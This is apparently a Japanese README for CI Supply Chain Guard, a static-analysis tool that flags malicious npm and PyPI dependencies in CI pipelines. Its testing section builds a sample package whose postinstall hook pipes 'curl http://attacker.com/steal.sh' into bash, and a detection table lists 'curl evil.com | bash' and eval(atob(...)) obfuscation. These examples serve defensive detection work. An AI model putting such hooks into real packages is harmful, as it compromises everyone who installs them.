CI Supply Chain Guard

CI/CDパイプラインに悪意のある依存関係がマージされる前に検出する静的解析ツールです。

作者: Otsmane Ahmed
ステータス: 研究プロトタイプ v1.0

クイックスタート

# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

ツールは SAFE、SUSPICIOUS、または BLOCKED の判定を出力します。

使用例

インストール前のパッケージスキャン

npm または PyPI からダウンロードしたパッケージの安全性を確認したい場合:

# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

インストール済み依存関係のスキャン

プロジェクトに既にインストールされているパッケージをチェック:

# Scan all npm packages
python3 main_guard.py ./node_modules

# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

注意: node_modules のような大規模ディレクトリをスキャンすると時間がかかります。高速化のためには個別のパッケージをスキャンしてください。

CI/CD 統合

GitHub Actions ワークフローの例:

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

悪意のあるコードが検出された場合、パイプラインは失敗します（終了コード 1）。

出力の解釈

安全なパッケージ

$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

悪意のあるパターンは検出されませんでした。

ブロックされたパッケージ

$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

危険なパターンが検出されました（例: シェルインジェクション、認証情報の窃取）。このパッケージはインストールしないでください。

スコアが10以上のパッケージは自動的にブロックされます。

疑わしいパッケージ

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

いくつか懸念されるパターンが見つかりました。Docker が動作している場合、パッケージは隔離されたサンドボックスで検証されます。手動による確認を推奨します。

検出機能

ツールのテスト

サンプルの悪意のあるパッケージを作成して CI-Guard をテストできます:

# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

期待される出力:

Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

パフォーマンス

エコシステム	テストしたパッケージ数	検出率
NPM	15,059	89.6%
PyPI	2,257	82.2%

平均スキャン時間: 1パッケージあたり1～3秒（静的解析のみ）

FAQ

既にインストールされているパッケージをスキャンできますか？

はい。CI-Guard を node_modules ディレクトリまたは Python の site-packages に向けてください:

python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

正当なパッケージがフラグされた場合はどうすればいいですか？

CI-Guard は安全側に倒しています。フラグされたパッケージを信頼する場合は:

analyzer/static_scanner.py の検出ルールを確認する
どのパターンがアラートを引き起こしたか特定する
パッケージのソースコードを手動でレビューする

Windows と macOS でも動作しますか？

はい。Python と Docker はクロスプラットフォームです。

Docker のインストールは必要ですか？

Docker はスコアが4～9（疑わしい）のパッケージにのみ必要です。ほとんどのパッケージは明らかに安全（0～3）か、明らかに悪意があります（10以上）。

要件

Python 3.10+
Docker（オプション、サンドボックス検証用）
対応OS: Linux、macOS、Windows

仕組み

CI-Guard は3段階の「信号機」システムを使用します:

緑 (0-3): 安全 - 悪意のあるパターンは検出されていません
黄 (4-9): 疑わしい - サンドボックス検証が必要
赤 (10+): ブロック - 重大な悪意のあるパターンを検出

検出方法:

静的解析: 正規表現とAST（抽象構文木）を用いたパターンマッチング
到達可能性解析: デッドコードによる誤検出をフィルタリング
サンドボックス: オプションのDockerコンテナでハニートークンを使い回避を検出

コントリビューション

プルリクエストは歓迎します。新しい検出ルールを追加するには:

analyzer/static_scanner.py を編集し、RULES リストに追加:

{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # Score contribution (1-10)
}

ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照してください。

連絡先

Otsmane Ahmed - GitHub

シェルインジェクション	`curl evil.com \| bash`	検出
認証情報の窃取	`process.env` を読み取り外部サーバーに送信	検出
コード難読化	`eval(atob('base64...'))`	検出
悪意のあるインストールスクリプト	NPMの `postinstall` フック	検出
バイナリファイル	パッケージ内の `.exe`、`.dll`	検出
タイポスクワッティング	人気パッケージに類似した名前	手動確認が必要

人気

ci-supplychain-guard